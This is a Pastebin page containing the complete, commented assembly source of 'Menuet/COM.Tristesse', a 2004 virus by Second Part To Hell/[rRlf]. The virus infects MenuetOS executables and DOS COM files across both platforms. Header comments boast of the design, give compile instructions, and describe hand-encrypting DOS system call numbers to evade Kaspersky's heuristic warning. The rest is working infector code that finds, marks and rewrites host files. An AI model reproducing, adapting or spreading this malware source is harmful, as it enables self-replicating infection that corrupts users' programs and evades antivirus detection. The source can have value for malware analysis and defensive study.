Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;; Menuet/COM.Tristesse
- ;; by Second Part To Hell/[rRlf]
- ;; www.spth.de.vu
- ;; spth@prist.com
- ;; written from june 2004 - sebtember 2004
- ;; in Austria
- ;;
- ;; I'm damn proud that I can present you my latest virus: Menuet/COM.Tristesse!
- ;; So far, this is the most complex virus I've ever coded, and you'll get the
- ;; point, why it is the most complex while reading this.
- ;;
- ;;
- ;; The virus:
- ;; Menuet/COM.Tristesse is a multi-platform infector, which infects MENUETs/COMs.
- ;; MENUET (www.menuetos.org) files will be infected via prepending the code and COM files will
- ;; be infected via appending the code. The most important thing about this virus was the
- ;; biggest (!!!) problem while coding:
- ;; Menuet is a 32bit based OS, and COM files uses 16bits, which means that I had to code
- ;; two totally independent parts, one for MENUETs (32bit) and one for COMs (16bit). (I can
- ;; tell you, infecting a 32bit file via a 16bit file is hell.)
- ;;
- ;; The virus infects files this way:
- ;; Menuet (32bit) -> Menuet (32bit - prepending)
- ;; Menuet (32bit) -> COM (16bit - appending)
- ;; COM (16bit) -> COM (16bit - appending)
- ;; COM (16bit) -> Menuet (32bit - prepending)
- ;;
- ;; When the virus runs at MenuetOS, the following thing happens:
- ;; - Searchs and infects MENUETs at the RAMDISK
- ;; - Searchs and infects COMs at the HARDDISK (which is, in most cases C:\)
- ;; - Regenerates the host and returns to the host
- ;;
- ;; More exactly: The virus does the following things:
- ;; - Searchs it's code (delta offset via static address)
- ;; - Searchs for files
- ;; - Checks if the file is good for infection (MENUET file, not infected, enough memory, ...)
- ;; - Reads file into memory
- ;; - Writes first hostbytes (buffer for virus) to end of file in memory
- ;; - Viruscode in memory at buffer generated before
- ;; - Writes Infection sign
- ;; - Saves file at RAMDISK
- ;; - Jmp to 2
- ;; - Searchs for files
- ;; - Checks if the file is good for infection (COM file, not infected, no MZ header, ...)
- ;; - Reads file into memory
- ;; - Saves first 4 bytes
- ;; - Generates jump to virus + infection mark
- ;; - Appends viruscode to end of file in memory
- ;; - Saves file at HARDDISK
- ;; - Writes Host at Entry Point of file
- ;; - Jmp to 10
- ;; - Return to host
- ;;
- ;;
- ;;
- ;; When the virus runs at COMs, the following happens:
- ;; - Searchs and infects COMs at current directory
- ;; - Searchs and infects MENUETs at current directory
- ;; - Regenerates the host and retuns to the host
- ;;
- ;; More exactly: The virus does the following things:
- ;; - Searchs it's code (delta offset via call)
- ;; - Restore host (4 bytes at the start)
- ;; - Find First File (*.com)
- ;; - Open File
- ;; - Checks if the file is good for infection (no MZ header, not infected)
- ;; - Save 4 bytes and check if it's already infected
- ;; - Calculates new Offset for Jump (filesize+MENUET part-3 bytes [jmp])
- ;; - Appends viruscode to the end of the file
- ;; - Writes new 4 bytes (jmp+Virussign)
- ;; - Find Next File
- ;; - Jmp to 2
- ;; - Find First File (*.*)
- ;; - Open file
- ;; - Check if the file is good for infection (MENUET file, not infected)
- ;; - Calculate n blocks (1 block=0x10 bytes) and REST of hostcode
- ;; - Writes first hostbytes (buffer for virus) to end of file
- ;; - Writes Virus to generated buffer
- ;; - Jmp to 11
- ;; - Return to host
- ;;
- ;;
- ;; Some other infos:
- ;; 1.) You may ask, why did I infect COM files instead of PE EXEs. The answere is simple:
- ;; You can not infect PE EXEs via MENUET, because there if too few memory for reading
- ;; the file. And COMs should just contain 65.536 bytes.
- ;;
- ;; 2.) The virus conains a by-hand encryption of DOS SYSTEM CALL NUMBERS, for avoiding
- ;; KAVs 'Type_COM' warning. Every Number is encrypted with one of XOR/NOT/ADD/SUB/INC/DEC.
- ;;
- ;; 3.) I've tested the virus at WindowsXP, Windows98, MenuetOS 0.78 pre2 and MenuetOS 0.77 final,
- ;; and the code worked on every OS. There is just one problem with MenuetOS 0.76+ when you
- ;; run it with a Notebook/Laptop. Menuet can't read data from the HARDDISK, and therefore
- ;; just MENUET files will be infected, not COMs. But this is a bug in Menuet, and not in my
- ;; virus.
- ;;
- ;; Compile: FASM code.asm code
- ;; And you get the executeable MENUET file.
- ;; You will get the COM infected, when a MENUET file infects a COM, not with compiling.
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- viruslength equ I_END-START
- use32
- org 0x0
- db 'MENUET00' ; 8 byte id
- dd 23 ; required os & Virus infection Mark
- dd START ; Program start
- dd I_END ; Program length
- dd 0x100000 ; Required amount of memory
- dd 0x00000000 ; reserved=no extended header
- START:
- pushad ; Save the original register-contents to stack
- mov ebp, dword [0xC] ; Save the virussize in ebp
- ;; Infect MENUET-files
- xor eax, eax ; eax=0
- mov al, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; pointer to fileinfo-block
- add bx, (dir_block_men-START) ; Get the relative offset
- int 0x40 ; System Call
- mov ebx, 0x20000 ; Move Offset of filename to ebx
- nextfile:
- add ebx, 32 ; Next Filename
- cmp ebx, 0x22000 ; Compair ebx with 0x22000
- je endinfmen ; If equal, stop it
- mov cl, [ebx] ; First letter of Filename to cl
- cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file)
- je nextfile ; If so, get next file
- mov cl, [ebx+11] ; Move the attribute bits to cl
- and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER )
- jnz nextfile ; If not zero, get next file
- mov edx, ebx ; Save ebx in edx
- mov edi, ebp ; Move fle (11 letter buffer) to edi
- add di, (fle-START) ; Get the relative Offset
- xor ecx, ecx ; ecx=0
- mov cl, 11 ; Move 11 to ecx (counter=11)
- fn2fb: ; File Name to File Block
- mov al, [ebx] ; Move the ebx-value to al
- stosb ; Write al to memory at offset edi (=11 letter buffer)
- inc ebx ; Get next letter
- loop fn2fb ; Jump to fn2fb if ecx>0 && dec ecx
- xor eax, eax ; eax=0
- mov al, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; pointer to file-block
- add bx, (file_block_men-START) ; Get the relative Offset
- int 0x40 ; System Call
- mov ebx, edx ; Restore original ebx (Filename offset)
- mov eax, 0x25000 ; Move Offset of readed file-content to eax
- cmp dword [eax], 'MENU' ; Compair a double-word with 'MENU'
- jne nextfile ; If not equal (=No Menuet-executed file), get next file
- add al, 8 ; eax = 0x25000 + 0x8 = Infection mark offset
- cmp byte [eax], 23 ; Compair a byte with 23
- je nextfile ; If equal (file is already infected), get next file
- add al, 12 ; eax= 0x25008+12 = Memory used by file
- cmp dword [eax], 0x50000 ; Compaire with 0x50000 (most files have the double)
- jl nextfile ; If less (too few memory for the virus), get next file
- mov eax, dword [ebx+28] ; Move the filesize to eax
- shr eax, 9 ; Get the blocks to read
- inc eax ; For reading the last not completed block
- mov edi, ebp ; Move the offset where to write
- add di, (flb_bs-START) ; Get the relative Offset
- stosb ; Write [al] to di in memory
- mov edx, ebx ; Save ebx to edx
- xor eax, eax ; eax=0
- mov al, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; pointer to file-block
- add bx, (file_block_men-START) ; Get the relative offset
- int 0x40 ; System Call
- mov ebx, edx ; Restore original ebx (Filename offset)
- ;; Write first part (bytes of virus) of the host code to end
- ;; because these bytes will be overwritten.
- mov edi, dword [0x25010] ; Where to write: End of file
- add edi, 0x25000 ; Add memory offset of hostcode
- mov cx, viruslength ; Viruslength to ecx
- add ecx, dword [0x2500C] ; add Header-length
- cmp dword [0x25010], ecx ; Check if the file is smaller than the virus
- jge notsmall ; If not greater or equal, calculate another offset for writing
- xchg edi, ecx ; Move the real start to edi
- add edi, 0x25000 ; Add memory offset
- notsmall:
- xor ecx, ecx ; ecx=0
- mov cx, viruslength ; How much to read: Viruslength
- mov edx, dword [0x2500C] ; What to read: Entry Point of file
- add edx, 0x25000 ; Add memory offset of hostcode
- fp2eof: ; First part to end of file
- mov al, [edx] ; Move a victim code's byte to al
- stosb ; Write al to memory at offset edi (end of file)
- inc edx ; Get next byte
- loop fp2eof ; Jump to fp2eof if ecx>0 && dec ecx
- ;; Overwrite first part of host file with viruscode
- mov cx, viruslength ; How much to write: Virus length
- mov edx, ebp ; What to write: Viruscode
- mov edi, dword [0x2500C] ; Where to write: Entry Point of file
- add edi, 0x25000 ; Add memory offset of hostcode
- vc2vm: ; Virus code to victim memory
- mov al, [edx] ; Move a virus code's byte to al
- stosb ; Write al to memory at offset edi (Start of victim's code)
- inc edx ; Get next virus byte
- loop vc2vm ; Jump to vc2vm if ecx>0 && dec ecx
- ;; Infection Mark <-- Against double-infection
- mov edi, 0x25008 ; Move the point of the infection sign
- mov al, 23 ; What to write (the infection mark)
- stosb ; Write infection mark to file
- mov edi, ebp ; Move the offset where to write
- add di, (flb_bs-START) ; Get the relative Offset
- mov eax, dword [ebx+28] ; What to write (Old Filesize)
- add eax, viruslength ; Add virussize
- stosd ; Write eax to memory at offset edi
- ;; Write memory with new built infected file to RAMDISK
- mov edi, ebp ; Move the offset where to write
- add di, (flb_kd-START) ; Get the relative Offset
- mov al, 1 ; What to write (1 for writing)
- stosb ; Write al to memory at offset edi
- mov edx, ebx ; Save ebx to edx
- xor eax, eax ; eax=0
- mov al, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; pointer to file_block_men
- add bx, (file_block_men-START) ; Get the relative Offset
- int 0x40 ; System Call
- ;; Restore some memory stuff and register
- mov ebx, edx ; Restore ebx
- mov edi, ebp ; Move the offset where to write
- add di, (flb_kd-START) ; Get the relative offset
- xor al, al ; What to write (0 for reading) = RESTORING
- stosb ; Write al to memory at offset edi
- mov edi, ebp ; Move the offset where to write
- add di, (flb_bs-START) ; Get the relative offset
- inc al ; What to write = RESTORING
- stosb ; Write al to memory at offset edi
- jmp nextfile ; Get Next File
- endinfmen:
- ;; Infect COM-files
- xor eax, eax ; eax=0
- mov al, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; pointer to fileinfo-block
- add bx, (dir_block_com-START) ; Get the relative offset
- int 0x40 ; System Call
- mov ebx, 0x20000 ; Move Offset of filename to ebx
- men_com_nextfile:
- add ebx, 32 ; Find next file
- cmp ebx, 0x22000 ; Compair ebx with 0x22000
- je endinfcom ; If equal, stop it
- mov cl, [ebx] ; First letter of Filename to cl
- cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file)
- je men_com_nextfile ; If so, get next file
- mov cl, [ebx+11] ; Move the attribute bits to cl
- and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER )
- jnz men_com_nextfile ; If not zero, get next file
- mov ax, [ebx+8] ; Move first 2 bytes of file-extansion to ax
- cmp ax, 'CO' ; Check if it's a COM-file
- jne men_com_nextfile ; If not equal, get next file
- mov edx, ebx ; Save ebx in edx
- mov edi, ebp ; Move fle (11 letter buffer) to edi
- add di, (c_fle-START) ; Get the relative Offset
- xor ecx, ecx ; ecx=0
- mov cl, 11 ; Move 11 to ecx (counter=11)
- c_fn2fb: ; File Name to File Block
- mov al, [ebx] ; Move the ebx-value to al
- stosb ; Write al to memory at offset edi (=11 letter buffer)
- inc ebx ; Get next letter
- loop c_fn2fb ; Jump to fn2fb if ecx>0 && dec ecx
- mov eax, dword [edx+0x1C] ; Move the filesize to eax
- shr eax, 9 ; Get the blocks to read
- inc eax ; For reading the last not completed block
- mov edi, ebp ; Move the offset where to write
- add di, (c_flb_bs-START) ; Get the relative Offset
- stosb ; Write [al] to di in memory
- xor eax, eax ; eax=0
- mov al, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; pointer to file-block
- add bx, (file_block_com-START) ; Get the relative Offset
- int 0x40 ; System Call
- mov ebx, edx ; Restore ebx
- mov ax, word [0x25000] ; Move first two bytes to ax
- cmp ax, 'MZ' ; Check if it's a pseudo-COM
- je men_com_nextfile ; If equal, get next file
- mov al, [0x25003] ; Move the 4th byte to al
- cmp al, 'S' ; Check if it's infected
- je men_com_nextfile ; If equal, get next file
- mov eax, dword [0x25000] ; Move first 4 bytes of .COM to eax
- mov edi, ebp ; Move the offset where to save the 4 bytes
- add edi, (com_rest_bytes-START) ; Get relative offset
- stosd ; Write eax to offset edi
- mov eax, [edx+0x1C] ; Filesize to eax
- add ax, (comvirusstart-START-3) ; Add offset of com-part start (Size shouldn't be bigger than 0xFFFF)
- mov edi, ebp ; Where to write
- add edi, (com_4bytes-START+1) ; Buffer for com-start
- stosw ; Write two bytes
- mov edi, [edx+0x1C] ; Move the filesize to eax
- add edi, 0x25000 ; Get the end of the file
- mov ecx, viruslength ; Move viruslength to ecx
- mov ebx, [0xC] ; Move the start of the virus to ebx
- c_vir2end: ; Virus to end
- mov al, [ebx] ; Move one virusbyte to al
- stosb ; Write al to edi
- inc ebx ; Get next byte
- loop c_vir2end ; Write next byte
- mov ebx, ebp ; 4 bytes to ebx (Jmp to com + infection mark)
- add ebx, (com_4bytes-START) ; Get relative offset
- mov edi, 0x25000 ; Where to write: filestart
- mov ecx, 0x4 ; Write 4 bytes
- c_4b2fRAM: ; 4 bytes to file in RAM
- mov al, [ebx] ; Move one of the 4 bytes to al
- stosb ; Write al to edi
- inc ebx ; Get next byte
- loop c_4b2fRAM ; Write next byte
- mov al, 0x1 ; Move 1 to al
- mov edi, ebp ; Move com-fileblock offset to edi
- add edi, (c_flb_kd-START) ; Get relative offset
- stosb ; Modify com-fileblock (to write)
- mov eax, dword [edx+0x1C] ; Move filesize to eax
- add eax, viruslength ; Add viruslength
- mov edi, ebp ; Move com_fileblock offset to edi
- add edi, (c_flb_bs-START) ; Get relative offset
- stosd ; Modify com-fileblock (size to write)
- mov eax, 58 ; SYSTEM TREE ACCESS
- mov ebx, ebp ; Fileblock
- add ebx, (file_block_com-START) ; Get relative offset
- int 0x40 ; SYSTEM CALL
- mov ebx, edx ; Restore Filenames
- jmp men_com_nextfile ; Get Next File
- endinfcom:
- ;; Restore original host
- mov ebx, ebp ; What to write - Offset of vircode
- add bx, (rebu-START) ; Add relative address
- mov edi, 0x20000 ; Where to write
- mov cl, (rebuend-rebu) ; How much to write (whole rebuild-code)
- rb2m: ; Rebuild code to memory
- mov al, [ebx] ; Move one byte of rebuild-code to al
- stosb ; Write al to offset edi
- inc ebx ; Get next byte
- loop rb2m ; Jump to rbch if ecx>0 && inc ecx
- mov ebx, 0x20000
- jmp ebx ; Jump to rebuild code in memory
- ; Now the viruscode in memory will be replaced by the
- ; old original host code, and the control comes back to
- ; the host file. The reason for using memory for
- ; overwrite the viruscode in memory is the fact that
- ; we can't overwrite the current running code.
- ; From now on, there is just data
- rebu: ; Rebuild the host code
- xor eax, eax ; eax=0
- mov al, 0x10 ; eax=0x10
- mov ebx, dword [eax] ; Move the file length to ebx, to get the old hostcode offset
- sub eax, 4 ; eax=0xC
- mov edx, dword [eax] ; Move the offset of the head-length to edx
- add dx, viruslength ; Add the virulength to edx
- cmp ebx, edx ; Check if the file is smaller than the virus
- jge notsmall2 ; If not greater or equal, go on
- mov ebx, edx ; Move the new offset to ebx
- notsmall2:
- mov edi, dword [0xC] ; Where to write: 0xC
- mov cx, viruslength ; How much to write
- rbhc: ; Rebuild host code
- mov al, [ebx] ; One byte of the saved host code to al
- stosb ; Write al (Host code) to edi (Entry Point of file)
- inc ebx ; Get next byte
- loop rbhc ; Jump to rbch if ecx>0 && inc ecx
- popad ; Get the original register-contents
- jmp dword [0xC] ; Jump to Entry Point, now with the original code
- rebuend: ; Rebuild host code: End
- ;;
- ;; DATA
- ;;
- virmsg db '1st Menuet/COM Virus (Tristesse) by Second Part To Hell/rRlf'
- dir_block_men:
- dd 0 ; 0=READ
- dd 0x0 ; 512 block to read 0+
- dd 0x16 ; blocks to read (/bytes to write/append)
- dd 0x20000 ; return data pointer
- dd 0x10000 ; work area for os - 16384 bytes
- db '/RD/1',0 ; ASCIIZ dir & filename
- file_block_men:
- flb_kd: dd 0 ; 0=READ (delete/append)
- dd 0x0 ; 512 block to read 0+
- flb_bs: dd 0x1 ; blocks to read (/bytes to write/append)
- dd 0x25000 ; return data pointer
- dd 0x10000 ; work area for os - 16384 bytes
- flpath db '/RD/1/'
- fle db ' ',0
- dir_block_com:
- dd 0 ; 0=READ
- dd 0x0 ; 512 block to read 0+
- dd 0x16 ; blocks to read (/bytes to write/append)
- dd 0x20000 ; return data pointer
- dd 0x10000 ; work area for os - 16384 bytes
- db '/HD/1',0 ; ASCIIZ dir & filename
- file_block_com:
- c_flb_kd: dd 0 ; 0=READ (delete/append)
- dd 0x0 ; 512 block to read 0+
- c_flb_bs: dd 0x1 ; blocks to read (/bytes to write/append)
- dd 0x25000 ; return data pointer
- dd 0x10000 ; work area for os - 16384 bytes
- c_flpath db '/HD/1/'
- c_fle db ' ',0
- ;; Start of the COM-part
- ;;
- use16
- comvirusstart: ; Start of the virus
- call com_get_delta ; Jump to com_get_delta + push current offset
- com_get_delta:
- pop bp ; Get current offset
- sub bp, com_get_delta ; Get relative offset
- lea si, [bp+com_rest_bytes] ; Restore original bytes from com_rest_bytes
- mov di, 0x100 ; Write to 0x100, as a COM starts at that offset
- movsw ; Write 2 bytes
- movsw ; Write 2 bytes (=4 bytes)
- com_find_first:
- mov ah, 0xB1 ; Find First File (encrypted)
- xor ah, 0xFF ; Decrypt
- com_infection:
- lea dx, [bp+com_string] ; dx=Search-lable (='*.com')
- xor cx, cx ; cx=Attribute (=normal file)
- int 0x21 ; Execute It
- jc end_vir ; If carry (no more file), jmp to end of virus
- mov ax, 0xC2FD ; Open File (encrypted)
- xor ax, 0xFFFF ; Decrypt
- mov dx, 0x9E ; dx=Filename (any com-file returned by FFF)
- int 0x21 ; Execute it
- xchg ax, bx ; Filehandle to bx
- mov ah, 0xC0 ; Save first 4 bytes, which will be overwritten (jmp + infection-mark) (encrypted)
- xor ah, 0xFF ; Decrypt
- mov cx, 0x4 ; cx= How much (4 bytes)
- lea dx, [bp+com_rest_bytes] ; Where to save (4 byte-buffer)
- int 0x21 ; Execute it
- cmp byte [bp+com_rest_bytes+3], 'S' ; Check if already infected
- je com_FindNextFile ; If equal (=infected), jump com_FindNextFile
- mov ax, 0xBDFD ; Jump to end of the file (+ Get filesize) (encrypted)
- not ax ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- add ax, (comvirusstart-START-3) ; Calculate the offset of new com-start: filesize+MENUET part-jmp(3 bytes)
- mov word [bp+com_4bytes+1], ax ; Write the new length to the buffer,
- ; so the file will jump to the end (=virus-start)
- mov ah, 0x45 ; Write to file (encrypted)
- sub ah, 0x5 ; Decrypt
- mov cx, viruslength ; How much to write (virussize)
- lea dx, [bp+START] ; Where to read from: virusstart
- int 0x21 ; Execute it
- mov ax, 0xBDFF ; Get the filestart (encrypted)
- not ax ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ah, 0xBF ; Write to file (encrypted)
- xor ah, 0xFF ; Decrypt
- mov cx, 0x4 ; How much to write: 4 bytes= jmp+infection_mark
- lea dx, [bp+com_4bytes] ; Where to read
- int 0x21 ; Execute it
- com_FindNextFile:
- mov ah, 0xC1 ; Close file (encrypted)
- not ah ; Decrypt
- int 0x21 ; Execute it
- mov ah, 0x6D ; Find Next File (encrypted)
- xor ah, 0xDD ; Decrypt
- not ah ; Decrypt
- jmp com_infection ; Infect it
- end_vir:
- mov ah, 0xB1 ; Find First File (encrypted)
- not ah ; Decrypt
- c_men_infection:
- lea dx, [bp+com_men_string] ; dx=Search-lable (='*.*')
- xor cx, cx ; cx=Attribute (=normal file)
- int 0x21 ; Execute It
- jc ret_host ; If carry (no more file), jmp ret_host
- mov ax, 0xC2FD ; Open file (encrypted)
- xor ax, 0xFFFF ; Decrypt
- mov dx, 0x9E ; dx=Filename (any file returned by FFF)
- int 0x21 ; Execute It
- xchg ax, bx ; Filehandle to bx
- mov ah, 0x28 ; Read from file (encrypted)
- xor ah, 0x17 ; Decrypt
- mov cx, 0x10 ; How much to read (16 bytes)
- lea dx, [bp+com_men_buffer1] ; Where to store (Menuet buffer)
- int 0x21 ; Execute it
- cmp word [bp+com_men_buffer1], 'ME' ; Check if it's a Menuet-File
- jne com_men_FNF ; If not, get next file
- cmp byte [bp+com_men_buffer1+0x8], 0x17 ; Check if file is already infected
- je com_men_FNF ; If equal (=infected), get next file
- mov ax, 0x4210 ; Set File Pointer to start (encrypted)
- sub ax, 0x10 ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ah, 0xC0 ; Read from file (encrypted)
- not ah ; Decrypt
- mov cx, 0x8 ; How much to read
- mov dx, [bp+com_men_buffer1] ; Where to store
- int 0x21 ; Execute it
- mov ah, 0x63 ; Write to file (encrypted)
- xor ah, 0x23 ; Decrypt
- mov cx, 0x1 ; How much to write: One byte
- mov byte [bp+com_men_buffer1], 0x17 ; The Infection Mark to the buffer
- lea dx, [bp+com_men_buffer1] ; What to write: Infection Mark for MENUETs
- int 0x21 ; Execute it
- mov ax, 0x3200 ; Set File Pointer to start (encrypted)
- add ax, 0x1000 ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ah, 0x30 ; Read from file (encrypted)
- add ah, 0xF ; Decrypt
- mov cx, 0x10 ; How much to read (16 bytes)
- mov dx, [bp+com_men_buffer1] ; Where to store
- int 0x21 ; Execute it
- mov ax, viruslength ; Move viruslength to ax
- shr ax, 0x4 ; 4 bytes left: ax*16=viruslength + REST
- mov di, ax ; Save result in di
- mov dx, 0x10 ; dx=0x10
- mul dx ; ax=dx[0x10]*ax[shr(viruslength)4]
- mov dx, ax ; Get the result to dx
- mov ax, viruslength ; Move viruslength to ax
- sub ax, dx ; viruslength-di[shr(viruslength)*16]=REST
- push ax ; Save REST to stack
- mov ax, [bp+com_men_buffer1+0xC] ; Move the offset of the EP to ax
- push ax ; Offset of the EP to the stack
- mov ax, 0x4202 ; Get filelength (=Set filepointer to end of file)
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- sub ax, [bp+com_men_buffer1+0xC] ; Sub header-length to get real code-length
- cmp ax, viruslength ; Compair codelength with viruslength
- jge com_menfi_ge ; If greater or equal jmp to com_menfi_ge
- mov di, ax ; Move the real codelength to di
- com_men_st2end2: ; MENUET Start to End
- mov ax, 0xBDFF ; Set File Pointer to start (encrypted)
- not ax ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ax, 0x4203 ; Set File Pointer (encrypted)
- dec ax ; Decrypt
- dec ax ; Decrypt
- xor cx, cx ; cx=0
- pop dx ; dx=offset to read
- push dx ; dx to the stack again
- int 0x21 ; Execute it
- pop dx ; Get offset where to read from stack to dx
- add dx, 0x10 ; Add 16 to dx (As we need the next 16 bytes)
- push dx ; To the stack again
- mov ah, 0x4F ; Read from file (encrypted)
- sub ah, 0x10 ; Decrypt
- mov cx, 0x10 ; How much to read (16 bytes)
- lea dx, [bp+com_men_buffer2] ; Where to store
- int 0x21 ; Execute it
- mov ax, 0xE8AA ; Set File Pointer to start (encrypted)
- xor ax, 0xAAAA ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ax, 0x9FDC ; Set file Pointer (encrypted)
- xor ax, 0xDDDD ; Decrypt
- xor cx, cx ; cx=0
- pop dx ; dx=EP+already read bytes
- push dx ; Save dx again
- add dx, viruslength-0x10 ; Add viruslength-16 (previous 16 bytes) to dx: dx=offset to write old host code
- int 0x21 ; Execute it
- com_nrestbytes:
- mov ah, 0x60 ; Write to file (encrypted)
- sub ah, 0x20 ; Decrypt
- mov cx, 0x10 ; How much to write: 16 byte
- lea dx, [bp+com_men_buffer2] ; What to write: First bytes of file for buffer
- int 0x21 ; Execute it
- sub di, 0x10 ; Decrease di
- cmp di, 0x10 ; Compair di with 16
- jge com_men_st2end2 ; If not zero (still 16byte blocks to copy), jmp to com_men_st2end2
- mov ax, 0x42FF ; Set File Pointer to start (encrypted)
- sub ax, 0xFF ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ax, 0x1 ; Set File Pointer (encrypted)
- add ax, 0x4200 ; Decrypt
- xor cx, cx ; cx=0
- pop dx ; dx=offset to read
- int 0x21 ; Execute it
- mov ah, 0xA6 ; Read from file (encrypted)
- xor ah, 0x99 ; Decrypt
- mov cx, di ; How much to read (REST)
- lea dx, [bp+com_men_buffer2] ; Where to store
- int 0x21 ; Execute it
- mov ax, 0xBDFD ; Set File Pointer to end (encrypted)
- not ax ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ah, 0xBF ; Write to file (encrypted)
- not ah ; Decrypt
- mov cx, di ; How much to write (REST)
- lea dx, [bp+com_men_buffer2] ; What to write: Rest of bytes
- int 0x21 ; Execute it
- pop ax ; Pop trash
- jmp virinclude ; Jump to Virus-Include-Part
- com_menfi_ge:
- com_men_st2end:
- mov ah, 0x42 ; Set File Pointer to start (encrypted)
- xor al, al ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ax, 0x4200 ; Set File Pointer (encrypted)
- inc al ; Decrypt
- xor cx, cx ; cx=0
- pop dx ; dx=offset to read
- push dx ; dx to the stack again
- int 0x21 ; Execute it
- pop dx ; Get offset where to read from stack to dx
- add dx, 0x10 ; Add 16 to dx (As we need the next 16 bytes)
- push dx ; To the stack again
- mov ah, 0x30 ; Read from file (encrypted)
- add ah, 0xF ; Decrypt
- mov cx, 0x10 ; How much to read (16 bytes)
- lea dx, [bp+com_men_buffer2] ; Where to store
- int 0x21 ; Execute it
- mov ax, 0x4002 ; Set File Pointer to end (encrypted)
- add ax, 0x200 ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ah, 0x25 ; Write to file (encrypted)
- add ah, 0x1B ; Decrypt
- mov cx, 0x10 ; How much to write: 16 byte
- lea dx, [bp+com_men_buffer2] ; What to write: First bytes of file for buffer
- int 0x21 ; Execute it
- dec di ; Decrease di
- test di, di ; test di if zero
- jnz com_men_st2end ; If not zero, write next 16 byte
- mov ax, 0x2200 ; Set File Pointer to start (encrypted)
- add ax, 0x2000 ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ax, 0x6201 ; Set File Pointer (encrypted)
- sub ax, 0x2000 ; Decrypt
- xor cx, cx ; cx=0
- pop dx ; dx=offset to read
- int 0x21 ; Execute it
- mov ah, 0x20 ; Read from file (encrypted)
- add ah, 0x1F ; Decrypt
- pop cx ; Get REST
- push cx ; Save REST again
- lea dx, [bp+com_men_buffer2] ; Where to store
- int 0x21 ; Execute it
- xor ax, ax ; Set File Pointer to end (encrypted)
- add ax, 0x4202 ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ah, 0xFB ; Write to file (encrypted)
- xor ah, 0xBB ; Decrypt
- pop cx ; How much to write: REST bytes
- lea dx, [bp+com_men_buffer2] ; What to write: REST bytes
- int 0x21 ; Execute it
- virinclude: ; Virus-Include-Part
- mov ax, 0xBDFF ; Set File Pointer to start (encrypted)
- not ax ; Decrypt
- xor cx, cx ; cx=0
- xor dx, dx ; dx=0
- int 0x21 ; Execute it
- mov ax, 0xBDFE ; Set File Pointer (encrypted)
- not ax ; Decrypt
- xor cx, cx ; cx=0
- mov dx, [bp+com_men_buffer1+0xC] ; destination: Entry Point
- int 0x21 ; Execute it
- mov ah, 0x53 ; Write to file (encrypted)
- xor ah, 0x13 ; Decrypt
- mov cx, viruslength ; How much to write: Viruslength
- mov dx, bp ; What to write: Viruscode
- add dx, START ; Get relative offset
- int 0x21 ; Execute it
- com_men_FNF:
- mov ah, 0xD0 ; Close file (encrypted)
- xor ah, 0xEE ; Decrypt
- int 0x21 ; Execute it
- mov ah, 0xA1 ; Find Next File (encrypted)
- xor ah, 0xEE ; Decrypt
- jmp c_men_infection ; Infect it
- ret_host:
- mov di, 0x200 ; di=0x100 (as it's a COM-file) (encrypted)
- sub di, 0x100 ; Decrypt
- jmp di ; Jump to di (Jump to Host-start)
- com_men_string db '*.*',0 ; FileMask for MENUETs
- com_string db '*.com',0 ; FileMask for COMs
- com_men_buffer1: times 0x10 db 0x0 ; 16 byte buffer for Menuet-Sign
- com_men_buffer2: times 0x10 db 0x0 ; 16 byte buffer for Saving the Hostfile
- com_4bytes db 0xE9, 0x0, 0x0 ,'S' ; Jmp to virus + Infection Mark
- com_rest_bytes db 0xCD, 0x20, 0x90, 0x90 ; 1st Generation only: int 0x20 | NOP | NOP
- end_virus: ;ENDE
- I_END:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement